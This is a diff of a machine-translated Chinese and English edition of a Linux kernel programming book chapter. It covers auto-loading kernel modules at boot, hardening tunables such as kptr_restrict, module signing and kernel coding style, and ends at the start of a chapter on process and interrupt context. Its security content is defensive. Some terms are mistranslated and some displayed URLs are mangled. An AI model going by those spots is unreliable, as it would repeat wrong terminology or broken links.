when we try and print an FP number in kernel space - -关键线路是`Please remove unsupported %f in format string`。 - -这告诉我们这个故事。系统实际上并没有崩溃或恐慌,因为这只是一个`WARNING`,通过`WARN_ONCE()`宏向内核日志抛出。不过,请务必意识到,在生产系统中,`/proc/sys/kernel/panic_on_warn`伪文件很可能会被设置为值`1`,从而导致内核(相当正确地)恐慌。 - -The section in the preceding screenshot (Figure 5.3) beginning with `Call Trace:` is, of course, a peek into the current state of the *kernel-mode stack* of the process or thread that was "caught" in the preceding `WARN_ONCE()` code path (hang on, you will learn key details regarding the user- and kernel-mode stacks and so on in [Chapter 6](06.html), *Kernel Internals Essentials – Processes and Threads*). Interpret the kernel stack by reading it in a bottom-up fashion; so here, the `do_one_initcall` function called `fp_in_lkm_init` (which belongs to the kernel module in square brackets, `[fp_in_lkm_init]`), which then calls `printk()`, which then ends up causing all kinds of trouble as it attempts to print a FP (floating point) quantity! - -寓意很明确:*避免在内核空间*内使用浮点数学。现在让我们继续讨论如何在系统启动时安装和自动加载内核模块。 - -# 系统启动时自动加载模块 - -到目前为止,我们已经编写了简单的“树外”内核模块,它们驻留在自己的私有目录中,必须手动加载,通常是通过`insmod(8)`或`modprobe(8)`实用程序。在大多数现实世界的项目和产品中,您将要求您的树外内核模块*在启动时* *自动加载。本节介绍如何实现这一点。* - -假设我们有一个名为`foo.ko`的内核模块。我们假设我们可以访问源代码和 Makefile。为了让它*在系统启动时自动加载*,您需要首先*将*内核模块安装到系统上的已知位置。为此,我们期望模块的 Makefile 包含一个`install`目标,通常是: - -```sh -install: - make -C $(KDIR) M=$(PWD) modules_install -``` - -这不是什么新鲜事;我们已经将`install` 目标放置在我们演示内核模块的`Makefile`中。 - -为了演示这个“自动加载”过程,我们展示了一组步骤,以便在引导时安装并自动加载我们的`ch5/min_sysinfo`内核模块: - -1. 首先,将目录更改为模块的源目录: - -```sh -cd <...>/ch5/min_sysinfo -``` - -2. 接下来,重要的是首先构建内核模块(用`make`),成功后安装它(正如您很快会看到的,我们的‘更好’Makefile 通过保证首先完成构建,然后是安装和`depmod`)使过程变得更简单: - -```sh -make && sudo make install -``` - -假设它已经构建好了,`sudo make install`命令然后*按照预期在这里`/lib/modules//extra/`安装*内核模块(也可以看到下面的信息框和提示): - -```sh -$ cd <...>/ch5/min_sysinfo -$ make *<-- ensure it's first built 'locally' - generating the min_sysinfo.ko kernel module object* -[...] -$ sudo make install Building for: KREL= ARCH= CROSS_COMPILE= EXTRA_CFLAGS=-DDEBUG -make -C /lib/modules/5.4.0-llkd01/build M=<...>/ch5/min_sysinfo modules_install -make[1]: Entering directory '/home/llkd/kernels/linux-5.4' - INSTALL <...>/ch5/min_sysinfo/min_sysinfo.ko - DEPMOD 5.4.0-llkd01 -make[1]: Leaving directory '/home/llkd/kernels/linux-5.4' -$ ls -l /lib/modules/5.4.0-llkd01/extra/ -total 228 --rw-r--r-- 1 root root 232513 Dec 30 16:23 min_sysinfo.ko -$ -``` - -During `sudo make install`, it's possible you might see (non-fatal) errors regarding SSL; they can be safely ignored. They indicate that the system failed to "sign" the kernel module. More on this in the note on security coming up. -Also, just in case you find that `sudo make install` fails, try the following approaches: -a) Switch to a root shell (`sudo -s`) and within it, run the `make ; make install` commands. -b) A useful reference: *Makefile: installing external Linux kernel module, StackOverflow, June 2016* ([https://unix.stackexchange.com/questions/288540/makefile-installing-external-linux-kernel-module](https://unix.stackexchange.com/questions/288540/makefile-installing-external-linux-kernel-module)). - -3. 另一个名为`depmod(8)`的模块实用程序通常在`sudo make install`中被默认调用(从前面的输出可以看出)。以防(不管什么原因)这种情况没有发生,您总是可以手动调用`depmod`:它的工作本质上是解决模块依赖关系(详见其手册页):`sudo depmod`。安装内核模块后,可以看到`depmod(8)`带`--dry-run`选项开关的效果: - -```sh -$ sudo depmod --dry-run | grep min_sysinfo -extra/min_sysinfo.ko: -alias symbol:lkdc_sysinfo2 min_sysinfo -alias symbol:lkdc_sysinfo min_sysinfo -$ -``` - -4. 引导时自动加载内核模块:一种方法是创建`/etc/modules-load.d/.conf`配置文件(当然,创建该文件需要 root 访问权限);最简单的情况:只要把内核模块的`foo`名字放在里面,就这样。任何以`#`字符开头的行都被视为注释并被忽略。对于我们的`min_sysinfo`示例,我们有以下内容: - -```sh -$ cat /etc/modules-load.d/min_sysinfo.conf -# Auto load kernel module for LLKD book: ch5/min_sysinfo -min_sysinfo -$ -``` - -FYI, another (even simpler) way to inform systemd to load up our kernel module is to enter the *name* of the module into the (preexisting) `/etc/modules-load.d/modules.conf` file. - -5. 用`sync; sudo reboot`重启系统。 - -一旦系统启动,使用`lsmod(8)`并查找内核日志(也许是`dmesg(1)`)。您应该会看到与内核模块加载相关的信息(在我们的示例中为`min_sysinfo`): - -```sh -[... system boots up ...] - -$ lsmod | grep min_sysinfo -min_sysinfo 16384 0 -$ dmesg | grep -C2 min_sysinfo -[...] -[ 2.395649] min_sysinfo: loading out-of-tree module taints kernel. -[ 2.395667] min_sysinfo: module verification failed: signature and/or required key missing - tainting kernel -[ 2.395814] min_sysinfo: inserted -[ 2.395815] lkdc_sysinfo(): minimal Platform Info: - CPU: x86_64, little-endian; 64-bit OS. -$ -``` - -在那里,它完成了:我们的`min_sysinfo`内核模块确实已经在启动时自动加载到内核空间中了! - -正如您刚刚学到的,您必须首先构建您的内核模块,然后执行安装;为了帮助实现自动化,我们的“更好”Makefile 在其模块安装`install`目标中有以下内容: - -```sh -// ch5/min_sysinfo/Makefile -[ ... ] -install: - @echo - @echo "--- installing ---" - @echo " [First, invoke the 'make' ]" - make - @echo - @echo " [Now for the 'sudo make install' ]" - sudo make -C $(KDIR) M=$(PWD) modules_install - sudo depmod -``` - -它确保,首先,构建完成,然后是安装和(明确地)第`depmod(8)`。 - -如果自动加载的内核模块需要在加载时传递一些(模块)参数,该怎么办?有两种方法可以确保这一点:通过所谓的 modprobe 配置文件(在`/etc/modprobe.d/`下),或者,如果模块内置于内核,通过内核命令行。 - -这里我们展示第一种方法:简单地设置您的 modprobe 配置文件(作为一个例子,我们使用名称`mykmod`作为我们的 LKM 的名称;同样,您需要 root 访问权限来创建此文件):`/etc/modprobe.d/mykmod.conf`;在其中,您可以传递如下参数: - -```sh -options = -``` - -例如,我的 x86_64 Ubuntu 20.04 LTS 系统上的`/etc/modprobe.d/alsa-base.conf` modprobe 配置文件包含以下几行(以及其他几行): - -```sh -# Ubuntu #62691, enable MPU for snd-cmipci -options snd-cmipci mpu_port=0x330 fm_port=0x388 -``` - -关于内核模块自动加载相关项目的更多要点如下。 - -## 模块自动加载-其他详细信息 - -一旦系统上安装了内核模块(如前所示,通过`sudo make install`,您也可以通过交互方式(或通过脚本)将其插入内核,只需使用`insmod(8)`实用程序的“更智能”版本,称为`modprobe(8)`。例如,我们可以首先`rmmod(8)`模块,然后执行以下操作: - -```sh -sudo modprobe min_sysinfo -``` - -有趣的是,请考虑以下内容。在有多个内核模块对象需要加载的情况下(例如*模块堆叠*设计),`modprobe`如何知道*顺序*加载内核模块?在本地执行构建时,构建过程会生成一个名为`modules.order`的文件。它告诉诸如`modprobe`这样的实用程序加载内核模块的顺序,以便解决所有的依赖关系。当内核模块*安装到内核中时(即安装到`/lib/modules/$(uname -r)/extra/`或类似的位置),`depmod(8)`实用程序会生成一个`/lib/modules/$(uname -r)/modules.dep`文件。这包含依赖信息——它指定一个内核模块是否依赖于另一个。使用这些信息,modprobe 然后按照所需的顺序加载它们。为了充实这一点,让我们安装我们的模块堆叠示例:* - -```sh -$ cd <...>/ch5/modstacking -$ make && sudo make install -[...] -$ ls -l /lib/modules/5.4.0-llkd01/extra/ -total 668K --rw-r--r-- 1 root root 218K Jan 31 08:41 core_lkm.ko --rw-r--r-- 1 root root 228K Dec 30 16:23 min_sysinfo.ko --rw-r--r-- 1 root root 217K Jan 31 08:41 user_lkm.ko -$ -``` - -显然,我们的模块堆叠示例中的两个内核模块(`core_lkm.ko`和`user_lkm.ko`)现在安装在预期位置`/lib/modules/$(uname -r)/extra/`下。现在,看看这个: - -```sh -$ grep user_lkm /lib/modules/5.4.0-llkd01/* 2>/dev/null -/lib/modules/5.4.0-llkd01/modules.dep:extra/user_lkm.ko: extra/core_lkm.ko -Binary file /lib/modules/5.4.0-llkd01/modules.dep.bin matches -$ -``` - -`grep`后的第一行输出是相关的:`depmod`已经安排`modules.dep`文件显示`extra/user_lkm.ko`内核模块依赖于`extra/core_lkm.ko`内核模块(通过`: ...`符号,暗示`k1.ko`模块依赖于`k2.ko`模块)。因此,modprobe 看到这一点后,按照所需的顺序加载它们,从而避免了任何问题。 - -(仅供参考,在本主题中,生成的`Module.symvers`文件包含所有导出符号的信息。) - -接下来,回想一下 Linux 上新的(ish) `init`框架, *systemd* 。事实是,在现代的 Linux 系统上,实际上是 systemd 负责在系统启动时自动加载内核模块,通过解析文件的内容,比如`/etc/modules-load.d/*`(负责这个的 systemd 服务是`systemd-modules-load.service(8)`)。详见`modules-load.d(5)`手册页。 - -相反,有时您可能会发现某个自动加载的内核模块运行不正常——导致锁定或延迟,或者根本不起作用——因此您肯定想禁用它的加载。这可以通过*将* 模块列入黑名单来实现。您可以在内核命令行中指定这一点(当所有其他操作都失败时很方便!)或在(前面提到的)`/etc/modules-load.d/.conf`配置文件中。在内核命令行上,通过`module_blacklist=mod1,mod2,...`,内核文档向我们展示了语法/解释: - -```sh -module_blacklist= [KNL] Do not load a comma-separated list of - modules. Useful for debugging problem modules. -``` - -You can look up the current kernel command line by doing `cat /proc/cmdline`. - -在内核命令行的主题上,还有其他几个有用的选项,使我们能够使用内核的帮助来调试与内核初始化相关的问题。例如,在其他几个参数中,内核在这方面提供了以下参数(来源:[https://www . kernel . org/doc/html/latest/admin-guide/kernel-parameters . html](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)): - -```sh -debug [KNL] Enable kernel debugging (events log level). -[...] -initcall_debug [KNL] Trace initcalls as they are executed. Useful - for working out where the kernel is dying during - startup. -[...] -ignore_loglevel [KNL] Ignore loglevel setting - this will print /all/ - kernel messages to the console. Useful for - debugging. We also add it as printk module - parameter, so users could change it dynamically, - usually by /sys/module/printk/parameters/ignore_loglevel. -``` - -仅供参考,正如本章前面提到的,还有一个第三方内核模块自动重建的替代框架,称为**动态内核模块支持** ( **DKMS** )。 - -本章的*进一步阅读*文档也提供了一些有用的链接。总之,在系统启动时将内核模块自动加载到内存中是产品中一项有用且经常需要的功能。打造高品质产品需要对*安全*有敏锐的理解和知识;这是下一节的主题。 - -# 内核模块和安全性—概述 - -一个具有讽刺意味的现实是,在改善*用户空间*安全考虑上花费的巨大努力,在最近几年已经带来了相当大的回报。几十年前,一个恶意用户执行可行的**缓冲区溢出** ( **BoF** )攻击是完全有可能的,但今天真的很难做到。为什么呢?因为有许多层增强的安全机制来防止这些攻击类别。 - -To quickly name a few countermeasures: compiler protections (`-fstack-protector[...], --Wformat-security, -D_FORTIFY_SOURCE=2`, partial/full RELRO, better sanity and security checker tools (`checksec.sh`, the address sanitizers, paxtest, static analysis tools, and so on), secure libraries, hardware-level protection mechanisms (NX, SMEP, SMAP, and so on), [K]ASLR, better testing (fuzzing), and so on. - -具有讽刺意味的是*内核空间*攻击在过去几年变得越来越普遍!已经证明,即使向聪明的攻击者透露一个有效的内核(虚拟)地址(及其对应的符号),也可以让她知道一些关键的内部内核结构的位置,从而为执行各种**权限升级** ( **权限**)攻击铺平道路。因此,即使泄露一条看起来很简单的内核信息(如内核地址及其关联的符号),也是潜在的**信息泄露**(或信息泄露),必须在生产系统中加以防止。接下来,我们将列举并简要描述 Linux 内核提供的一些安全特性。然而,最终,内核开发者——你!–发挥重要作用:首先编写安全代码!使用我们的“更好的”Makefile 是一个很好的开始方式——其中的几个目标与安全性有关(例如,所有的静态分析)。 - -## 影响系统日志的 Proc 文件系统可调参数 - -我们直接让您参考`proc(5)`上的手册页–非常有价值!–收集这两个安全相关可调参数的信息: - -* `dmesg_restrict` -* `kptr_restrict` - -一、`dmesg_restrict`: - -```sh -dmesg_restrict -/proc/sys/kernel/dmesg_restrict (since Linux 2.6.37) - The value in this file determines who can see kernel syslog contents. A value of 0 in this file imposes no restrictions. If the value is 1, only privileged users can read the kernel syslog. (See syslog(2) for more details.) Since Linux 3.4, only users with the CAP_SYS_ADMIN capability may change the value in this file. -``` - -默认值(在我们的 Ubuntu 和 Fedora 平台上)是`0`: - -```sh -$ cat /proc/sys/kernel/dmesg_restrict -0 -``` - -Linux 内核使用强大的细粒度 POSIX *功能*模型。`CAP_SYS_ADMIN`功能本质上是对传统的*根(超级用户/系统管理员)*访问的全面控制。`CAP_SYSLOG`功能赋予进程(或线程)执行特权`syslog(2)`操作的能力。 - -如前所述,“泄露”内核地址及其相关符号可能会导致基于信息泄露的攻击。为了帮助防止这些情况,建议内核和模块作者始终使用新的`printf`样式格式打印内核地址:打印地址时,应该使用较新的 **`%pK`** 格式说明符,而不是熟悉的`%p`或`%px`。(使用`%px`格式说明符确保打印实际地址;你会希望在生产中避免这种情况)。这有什么帮助?继续读... - -打印内核地址时,`kptr_restrict` 可调(2.6.38 向前)影响`printk()`输出;做`printk("&var = **%pK**\n", &var);` -而不做老好人`printk("&var = %p\n", &var);`被认为是安全的最佳做法。理解`kptr_restrict`可调滤波器的工作原理是关键: - -```sh -kptr_restrict -/proc/sys/kernel/kptr_restrict (since Linux 2.6.38) - The value in this file determines whether kernel addresses are exposed via /proc files and other interfaces. A value of 0 in this file imposes no restrictions. If the value is 1, kernel pointers printed using the %pK format specifier will be replaced with zeros unless the user has the CAP_SYSLOG capability. If the value is 2, kernel pointers printed using the %pK format specifier will be replaced with zeros regardless of the user's capabilities. The initial default value for this file was 1, but the default was changed to 0 in Linux 2.6.39\. Since Linux 3.4, only users with the CAP_SYS_ADMIN capability can change the value in this file. -``` - -默认值(在我们最新的 Ubuntu 和 Fedora 平台上)是`1`: - -```sh -$ cat /proc/sys/kernel/kptr_restrict -1 -``` - -为了安全起见,您可以(更确切地说,*必须*)将生产系统上的这些可调参数更改为安全值(1 或 2)。当然,安全措施只有在开发人员利用它们时才起作用;截至 5.4.0 Linux 内核,共有(刚刚!)整个 Linux 内核代码库中`%pK`格式说明符的 14 种用法(总共约 5200 多种使用`%p`的 printk 用法中,约 230 种明确使用`%px`格式说明符)。 - -a) As `procfs` is, of course, a volatile filesystem, you can always make the changes permanent by using the `sysctl(8)` utility with the `-w` option switch (or by directly updating the `/etc/sysctl.conf` file). -b) For the purpose of debugging, if you must print an actual kernel (unmodified) address, you're advised to use the `%px` format specifier; do remove these prints on production systems! -c) Detailed kernel documentation on `printk` format specifiers can be found at [https://www.kernel.org/doc/html/latest/core-api/printk-formats.html#how-to-get-printk-format-specifiers-right](https://www.kernel.org/doc/html/latest/core-api/printk-formats.html#how-to-get-printk-format-specifiers-right); do browse through it. - -随着 2018 年初硬件级缺陷的出现(现在众所周知的*熔毁、Spectre、*和其他处理器推测安全问题),人们对*检测信息泄露再次产生了紧迫感,*因此使开发人员和管理员能够阻止它们。 - -A useful Perl script, `scripts/leaking_addresses.pl`, was released in mainline in 4.14 (in November 2017; I am happy to have lent a hand in this important work: [https://github.com/torvalds/linux/commit/1410fe4eea22959bd31c05e4c1846f1718300bde](https://github.com/torvalds/linux/commit/1410fe4eea22959bd31c05e4c1846f1718300bde)), with more checks being made for detecting leaking kernel addresses. - -## 内核模块的加密签名 - -一旦恶意攻击者在系统上站稳脚跟,他们通常会尝试某种私有向量来获得根访问权限。一旦实现了这一点,典型的下一步就是安装一个 *rootkit* :本质上是一个脚本和内核模块的集合,它们将几乎接管系统(通过“劫持”系统调用、设置后门和键盘记录器等等)。 - -当然,这并不容易——充满了 **Linux 安全模块** ( **LSMs** )等等的现代生产质量 Linux 系统的安全姿态意味着这根本不是一件微不足道的事情,但是对于一个熟练且有动力的攻击者来说,一切皆有可能。假设他们安装了足够复杂的 rootkit,系统现在就被认为受到了威胁。 - -一个有趣的想法是这样的:即使有根访问,也不要允许`insmod(8)`(或`modprobe(8)`,甚至底层的`[f]init_module(2)`系统调用)将内核模块插入内核地址空间**,除非它们是用内核密钥环*中的安全密钥***加密签名的。这个强大的安全特性是 3.7 内核引入的(相关提交在这里:[https://git . kernel . org/pub/SCM/Linux/kernel/git/Torvalds/Linux . git/commit/?id = 106 a4 ee 258d 14818467829 bf0e 12 EAE 14 c 16 CD 7](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=106a4ee258d14818467829bf0e12aeae14c16cd7)。 - -The details on performing cryptographic signing of kernel modules is beyond the scope of this book; you can refer to the official kernel documentation here: [https://www.kernel.org/doc/html/latest/admin-guide/module-signing.html](https://www.kernel.org/doc/html/latest/admin-guide/module-signing.html). - -与该特性相关的一些内核配置选项有`CONFIG_MODULE_SIG`、`CONFIG_MODULE_SIG_FORCE`、`CONFIG_MODULE_SIG_ALL`等。为了帮助理解这到底意味着什么,请参见第一部分的`Kconfig 'help'`部分,如下所示(来自`init/Kconfig`): - -```sh -config MODULE_SIG - bool "Module signature verification" - depends on MODULES - select SYSTEM_DATA_VERIFICATION - help - Check modules for valid signatures upon load: the signature is simply - appended to the module. For more information see - . Note that this - option adds the OpenSSL development packages as a kernel build - dependency so that the signing tool can use its crypto library. - - !!!WARNING!!! If you enable this option, you MUST make sure that the - module DOES NOT get stripped after being signed. This includes the - debuginfo strip done by some packagers (such as rpmbuild) and - inclusion into an initramfs that wants the module size reduced -``` - -`MODULE_SIG_FORCE`内核配置是一个布尔值(默认为`n`)。只有打开`MODULE_SIG`时,它才会起作用。如果`MODULE_SIG_FORCE`设置为`y`,那么内核模块*必须*具有有效的签名才能被加载。否则,加载将失败。如果它的值保留为`n`,这意味着即使没有签名的内核模块也会被加载到内核中,但是内核会被标记为被污染。这往往是典型的现代 Linux 发行版的默认设置。在下面的代码块中,我们在 x86_64 Ubuntu 20.04.1 LTS 来宾虚拟机上查找这些内核配置: - -```sh -$ grep MODULE_SIG /boot/config-5.4.0-58-generic -CONFIG_MODULE_SIG_FORMAT=y -CONFIG_MODULE_SIG=y -# CONFIG_MODULE_SIG_FORCE is not set -CONFIG_MODULE_SIG_ALL=y -[ ... ] -``` - -生产系统鼓励内核模块的加密签名(近年来,随着(I)物联网边缘设备变得越来越普遍,安全性是一个关键问题)。 - -## 完全禁用内核模块 - -偏执的人可能想完全禁用内核模块的加载(和卸载)。相当激烈,但是,嘿,这种方式可以完全锁定系统的内核空间(以及使任何 rootkits 变得几乎无害)。这可以通过两种广泛的方式实现: - -* 首先,通过在构建之前的内核配置期间将`CONFIG_MODULES`内核配置设置为关闭(当然,默认情况下是打开的)。这样做是相当激烈的——它使这个决定成为一个永久的决定! -* 第二,假设`CONFIG_MODULES`开启,可以通过`modules_disabled` `sysctl` 可调,在运行时动态关闭模块加载;看看这个: - -```sh -$ cat /proc/sys/kernel/modules_disabled -0 -``` - -当然是*默认关闭* ( `0`)。像往常一样,`proc(5)`上的手册页告诉我们这个故事: - -```sh -/proc/sys/kernel/modules_disabled (since Linux 2.6.31) - A toggle value indicating if modules are allowed to be loaded in an otherwise modular kernel. This toggle defaults to off (0), but can be set true (1). Once true, modules can be neither loaded nor unloaded, and the toggle cannot be set back to false. The file is present only if the kernel is built with the CONFIG_MODULES option enabled. -``` - -总之,内核安全强化和恶意攻击当然是猫捉老鼠的游戏。例如,(K)ASLR(我们在接下来关于 Linux 内存管理的章节中讨论(K)ASLR 的意思)经常被击败。另外,参见本文–*有效绕过安卓*上的 kptr _ restrict:[http://bits-请. blogspot . com/2015/08/有效绕过-kptrrestrict-on.html](http://bits-please.blogspot.com/2015/08/effectively-bypassing-kptrrestrict-on.html) 。安全不易;这总是一项正在进行的工作。(几乎)不言而喻:开发人员——无论是在用户空间还是内核空间——都必须*编写具有安全意识的代码,并持续使用工具和测试*。** - -让我们用关于 Linux 内核的编码风格指南、访问内核文档以及如何为主线内核做贡献的主题来完成这一章。 - -# 内核开发人员的编码风格指南 - -许多大型项目指定了他们自己的一套编码指南;Linux 内核社区也是如此。遵循 Linux 内核*编码风格*准则确实是个好主意。你可以在这里找到它们的官方文档:[https://www . kernel . org/doc/html/latest/process/coding-style . html](https://www.kernel.org/doc/html/latest/process/coding-style.html)(请务必阅读!). - -此外,作为(相当详尽的)代码提交清单的一部分,对于像您这样想要上游代码的开发人员,您需要通过一个 Perl 脚本来运行您的补丁,该脚本检查您的代码是否与 Linux 内核编码风格一致:`scripts/checkpatch.pl`。 - -默认情况下,该脚本仅在格式良好的`git`补丁上运行。可以针对独立的 C 代码运行它(就像您的树外内核模块代码一样),如下所示(就像我们的“更好的”Makefile 所做的那样): - -```sh -/scripts/checkpatch.pl --no-tree -f .c -``` - -在你的内核代码中养成这样的习惯是有帮助的,可以让你抓住那些烦人的小问题——还有更严重的问题!–否则可能会阻碍你的修补。我们再次提醒您:我们的“更好”Makefile 的`indent`和`checkpatch`目标就是针对这一点。 - -除了编码风格指南之外,你会发现时不时地,你需要深入研究复杂而有用的内核文档。提醒一下:我们在*定位和使用 Linux 内核文档*部分的[第 1 章](01.html)、*内核工作区设置*中介绍了定位和使用内核文档。 - -我们现在将通过简单介绍如何开始一个崇高的目标来完成这一章:为主线 Linux 内核项目贡献代码。 - -# 为主线内核做贡献 - -在本书中,我们通常通过 LKM 框架在内核源代码树之外执行内核开发。如果你在内核树中编写代码*,明确的目标是*将你的代码向上流*到内核主线,会怎么样?这确实是一个值得称赞的目标——开源的整个基础源于社区愿意投入工作并将其贡献给项目的上游。* - -## 开始为内核做贡献 - -最常被问到的问题当然是*如何入门*?为了帮助解决这个问题,内核文档中有一个很长很详细的答案:*如何进行 linux 内核开发*:[https://www . kernel . org/doc/html/latest/process/how To . html #如何进行 Linux 内核开发](https://www.kernel.org/doc/html/latest/process/howto.html#howto-do-linux-kernel-development)。 - -事实上,您可以生成完整的 Linux 内核文档(通过`make pdfdocs`命令,在内核源代码树的根中);一旦成功,你会在这里找到这个 PDF 文档:`/Documentation/output/latex/development-process.pdf`。 - -这是一个非常详细的 Linux 内核开发过程指南,包括代码提交指南。此处显示了此文档的裁剪截图: - -![](img/d4f93852-3eb8-48c4-80f9-8f4d9deaf307.png) - -Figure 5.5 – (Partial) screenshot of the kernel development docs just generated - -作为这个内核开发过程的一部分,为了保持质量标准,一个严格且*必须遵守的*清单——一个长长的配方!–是内核补丁提交过程的一部分。官方核对表在这里: *Linux 内核补丁提交核对表*:[https://www . Kernel . org/doc/html/latest/process/submit-核对表. html # Linux-内核-补丁-提交-核对表](https://www.kernel.org/doc/html/latest/process/submit-checklist.html#linux-kernel-patch-submission-checklist)。 - -尽管对于一个内核新手来说,这看起来是一项繁重的任务,但是仔细遵循这个清单可以让你的工作更加严谨和可信,并最终得到更好的代码。我强烈建议您通读内核补丁提交清单,并尝试其中提到的过程。 - -Is there a really practical hands-on tip, an almost guaranteed way to become a kernel hacker? Of course, keep reading this book! Ha ha, yes, besides, do partake in the simply awesome **Eudyptula Challenge** ([http://www.eudyptula-challenge.org/](http://www.eudyptula-challenge.org/)) Oh, hang on, it's – very unfortunately, and as of the time of writing – closed down. - -Fear not; here's a site with all the challenges (and solutions, but don't cheat!) posted. Do check it out and try the challenges. This will greatly accelerate your kernel hacking skills: [https://github.com/agelastic/eudyptula](https://github.com/agelastic/eudyptula). - -# 摘要 - -在这一章,关于使用 LKM 框架编写内核模块的第二章,我们涵盖了与这个重要主题相关的几个(剩余的)领域:其中,为内核模块使用“更好的”Makefile,配置调试内核的技巧(这非常重要!),交叉编译内核模块,从内核模块中收集一些最基本的平台信息,甚至还有一点内核模块的许可。我们还研究了用两种不同的方法模拟类似库的特性(一种是首选的链接方法,另一种是模块堆叠方法),使用模块参数,避免浮点运算,自动加载内核模块,等等。安全问题以及如何解决这些问题非常重要。最后,我们通过介绍内核编码风格指南、内核文档以及如何开始为主线内核做贡献来结束这一章。所以,恭喜你!您现在知道如何开发内核模块,甚至可以开始内核上游贡献之旅。 - -在下一章,我们将深入探讨一个有趣且必要的话题。我们将开始深入探索 Linux 内核及其内存管理子系统的内部。 - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助你用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中提供了一个更详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。**** \ No newline at end of file diff --git a/docs/linux-kernel-prog/06.md b/docs/linux-kernel-prog/06.md deleted file mode 100644 index 61d83e0b..00000000 --- a/docs/linux-kernel-prog/06.md +++ /dev/null @@ -1,859 +0,0 @@ -# 六、内核内部原理——进程和线程 - -内核内部,尤其是那些关于内存管理的内部,是一个庞大而复杂的话题。在本书中,我们不打算深入探究内核和内存内部的血淋淋的细节。与此同时,我想为像您这样的初露头角的内核或设备驱动程序开发人员提供足够的、绝对必要的背景知识,以成功地解决理解内核体系结构所需的关键主题,如进程、线程及其堆栈是如何管理的。您还将能够正确有效地管理动态内核内存(重点是使用**可加载内核模块** ( **LKM** )框架编写内核或驱动程序代码)。作为一个附带的好处,有了这些知识,你会发现自己在调试用户和内核空间代码方面变得更加熟练。 - -我把关于基本内部的讨论分成了两章,这一章和下一章。本章涵盖了 Linux 内核内部架构的关键方面,特别是关于内核中进程和线程的管理。下一章将关注内存管理内部,这是理解和使用 Linux 内核的另一个重要方面。当然,现实是,所有这些事情并没有真正在一两章中涉及到,而是在本书中展开(例如,关于进程/线程的 CPU 调度的细节将在后面的章节中找到;类似地用于存储器内部、硬件中断、同步等)。 - -简而言之,这些是本章涵盖的主题: - -* 理解进程和中断上下文 -* 了解流程虚拟地址空间的基础知识 -* 组织进程、线程及其堆栈——用户和内核空间 -* 理解和访问内核任务结构 -* 通过当前使用任务结构 -* 迭代内核的任务列表 - -# 技术要求 - -我假设您已经完成了[第 1 章](01.html)、*内核工作区设置*,并适当准备了一个运行 Ubuntu 18.04 LTS(或更高版本的稳定版本)的来宾**虚拟机** ( **VM** )并安装了所有需要的软件包。如果没有,我建议你先做这个。 - -为了充分利用这本书,我强烈建议您首先设置工作区环境,包括克隆这本书的 GitHub 代码存储库(在这里可以找到:[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming))并以动手的方式进行处理。 - -我确实假设您熟悉基本的虚拟内存概念、用户模式流程**虚拟地址空间** ( **VAS** )段布局、堆栈等等。尽管如此,我们还是花了几页来解释这些基础知识(在接下来的*理解过程 VAS* 部分的基础知识)。 - -# 理解进程和中断上下文 - -在[第 4 章](04.html)*编写您的第一个内核模块–LKMs,第 1 部分*中,我们展示了一个题为*内核架构 I* 的简短部分(如果您还没有阅读,我建议您在继续之前阅读)。我们现在将对此展开讨论。 - -理解大多数现代操作系统在设计上是单片的***是至关重要的。*单块*这个词字面意思是一块*单块大石头*。我们将推迟一会儿,看看这到底如何应用于我们最喜欢的操作系统!目前,我们把*单片*理解为这个意思:当一个进程或线程发出系统调用时,它会切换到(特权)内核模式并执行内核代码,可能还会处理内核数据。是的,没有内核或内核线程代表它执行代码;进程(或线程)*本身*执行内核代码。因此,我们说内核代码在用户空间进程或线程的上下文中执行——我们称之为**进程上下文** *。*想一想,内核的相当一部分正是这样执行的,包括很大一部分设备驱动的代码。*** - - ***那么,你可能会问,既然你理解了这一点,那么除了进程上下文,内核代码还能如何执行呢?还有一种方法:当硬件中断(来自外围设备——键盘、网卡、磁盘等)触发时,中央处理器的控制单元保存当前上下文,并立即重新引导中央处理器运行中断处理程序的代码(中断服务例程**—**ISR**)。现在这段代码也在内核(特权)模式下运行——实际上,这是切换到内核模式的另一种异步方式!很多设备驱动的中断代码路径都是这样执行的;我们说以这种方式执行的内核代码是在**中断上下文** *中执行的。*** - - **因此,任何一段内核代码都是由以下两种上下文之一输入并执行的: - -* **进程上下文**:从系统调用或处理器*异常*进入内核(如页面错误),执行内核代码,处理内核数据;它是同步的(自上而下)。 -* **中断上下文**:从外围芯片的硬件中断进入内核,执行内核代码,处理内核数据;它是异步的(自下而上)。 - -*图 6.1* 展示概念视图:用户模式进程和线程在非特权用户上下文中执行;用户模式线程可以通过发出*系统调用*切换到特权内核模式。该图还向我们展示了纯*内核线程*也存在于 Linux 中;它们非常类似于用户模式线程,主要区别在于它们只在内核空间执行;他们甚至不能*看到*用户 VAS。通过系统调用(或处理器异常)同步切换到内核模式的任务现在在*进程上下文中运行内核代码。*(内核线程也在进程上下文中运行内核代码。)然而,硬件中断是另一回事——它们导致执行异步进入内核;它们执行的代码(通常是设备驱动程序的中断处理程序)在所谓的*中断上下文中运行。* - -*图 6.1* 展示了更多细节——中断上下文上下半部分、内核线程和工作队列;我们请求您保持耐心,我们将在后面的章节中介绍所有这些以及更多内容: - -![](img/b4d19285-629a-4527-9844-56fbe6e7f89d.png) - -Figure 6.1 – Conceptual diagram showing unprivileged user-mode execution and privileged kernel-mode execution with both process and interrupt contexts - -在本书的后面,我们将向您展示如何准确地检查您的内核代码当前运行的上下文。继续读! - -# 了解过程增值服务的基础 - -虚拟内存的一个基本“规则”是这样的:所有潜在的可寻址内存都在一个盒子里;也就是*沙盒*。我们认为这个“盒子”是*过程图像*或过程视觉模拟系统。不允许看盒子外面。 - 